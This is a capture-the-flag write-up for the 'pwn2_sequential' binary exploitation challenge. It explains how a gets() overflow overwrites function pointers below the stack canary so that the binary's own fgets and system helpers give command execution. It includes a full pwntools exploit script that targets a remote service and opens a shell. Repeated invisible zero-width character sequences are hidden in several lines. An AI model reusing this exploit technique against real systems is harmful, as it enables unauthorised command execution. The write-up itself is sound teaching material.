← Back to Writeups
CUSTOMMediumpwn

pwn2_sequential

XESXOR9/2/20264 min read
#pwn#custom#medium#canary_bypass_via_call#function_pointer_overwrite#gets_overflow#in_binary_gadget_reuse#ret2func#strcmp_nul_vs_gets_newline

pwn2_sequential

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: canary_bypass_via_call, function_pointer_overwrite, gets_overflow, in_binary_gadget_reuse, ret2func, strcmp_nul_vs_gets_newline

Summary

Task: NON-PIE x86-64 ELF with a menu that dispatches echo/help/greet through on-stack function pointers, reached by an unbounded gets() overflow; a canary is present but irrelevant. Solution: overwrite the function pointers (which sit BELOW the canary and are invoked via call before any ret) to chain unused init()=fgets(CMD) and sys()=system(CMD) gadgets into arbitrary command execution and a shell.

pwn2_sequential — pwn_spbctf

Description

A "C language functional caller!" — commands: echo / help / greet. "Are you able to craft something significant here?" Hint: "ASLR is disabled". Author: Ilya Shilov (@Shtrikh17).

Remote service: nc 109.233.56.90 11620 (platform pwn.spbctf.ru).

A 64-bit x86-64 ELF named sequential exposes a small command menu. The goal is to turn a stack overflow into command execution and read the flag.

Analysis

Binary protections:

  • NON-PIE (base 0x400000) — all code addresses are fixed.
  • NX enabled, Partial RELRO.
  • Stack canary present — but, as shown below, it is never checked on the exploited path.
  • Hint says ASLR is disabled (irrelevant here since NON-PIE already fixes code addresses, but it removes any stack-leak worries). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key functions:

FunctionAddrRole
main0x4009deentry
handler0x400904the vulnerable menu loop
echo0x400812normal command
helper0x40087enormal command
greeter0x400891normal command
sys0x4007c7system(CMD) where CMD is a .bss global @ 0x6010c0 — NOT called in normal flow
init0x4007dffgets(CMD, 0x80, stdin) — fills the CMD global from stdin — NOT called in normal flow
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

handler stack frame:

rbp-0x40  char buf[]          <- gets(buf)  (UNBOUNDED)
rbp-0x20  echo_ptr   = &echo
rbp-0x18  helper_ptr = &helper
rbp-0x10  greeter_ptr= &greeter
rbp-0x08  canary

Loop body:

printf("[exec]: ");
gets(buf);                     // unbounded overflow
if      (strcmp(buf,"echo")==0)  call echo_ptr;
else if (strcmp(buf,"help")==0)  call helper_ptr;
else if (strcmp(buf,"greet")==0) call greeter_ptr;
// loops

Why the canary does not matter

The overflow from buf (rbp-0x40) reaches the three function pointers at offsets 0x20 / 0x28 / 0x30, which lie before the canary at offset 0x38. Those pointers are invoked via call rdx inside the loop, before the function epilogue — i.e. before any ret and therefore before the __stack_chk_fail check runs. By hijacking control flow through a call, we completely sidestep the canary; we never need to leak or preserve it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The strcmp / gets interplay

  • gets() reads until a newline, so NUL bytes are allowed inside the line.
  • strcmp() stops at the first NUL.

So a single input line can be b"echo\x00" + padding + overwritten_pointers: strcmp sees just "echo" and matches, while gets happily writes the padding and pointer overwrites that follow the NUL.

Solution

Chain the two unused in-binary gadgets:

  1. Line 1 (handler gets): make the matched command call init, and make a later command call sys.
    b'echo\x00'.ljust(0x20,'A') + p64(init) + p64(sys)
    
    • echo_ptr (offset 0x20) ← init (0x4007df)
    • helper_ptr (offset 0x28) ← sys (0x4007c7)
    • strcmp(buf,"echo")==0 → call echo_ptr → runs init().
  2. Line 2 (init's fgets into the CMD global): the shell command, e.g. cat /flag* /flag 2>/dev/null; id.
  3. Line 3 (handler gets again): b'help' → strcmp matches "help" → call helper_ptr (now = sys) → system(CMD) executes our command. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The overwritten pointers persist across loop iterations (the stack frame is not reset), and the short help line on iteration 3 does not clobber them. NON-PIE + disabled ASLR keeps init = 0x4007df and sys = 0x4007c7 fixed.

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

SYS  = 0x4007c7   # system(CMD)
INIT = 0x4007df   # fgets(CMD, 0x80, stdin)

io = remote('109.233.56.90', 11620)
# io = process('./sequential')

# Line 1: echo->init, help->sys (NUL after "echo" so strcmp matches "echo")
io.sendline(b'echo\x00'.ljust(0x20, b'A') + p64(INIT) + p64(SYS))
# Line 2: init() fgets -> CMD global
io.sendline(b'cat /flag* /flag 2>/dev/null; id')
# Line 3: help -> sys -> system(CMD)
io.sendline(b'help')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io.interactive()           # real shell as uid=ctf
# print(io.recvall().decode())

Output prints the flag and id=uid=1000(ctf), confirming a real shell. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍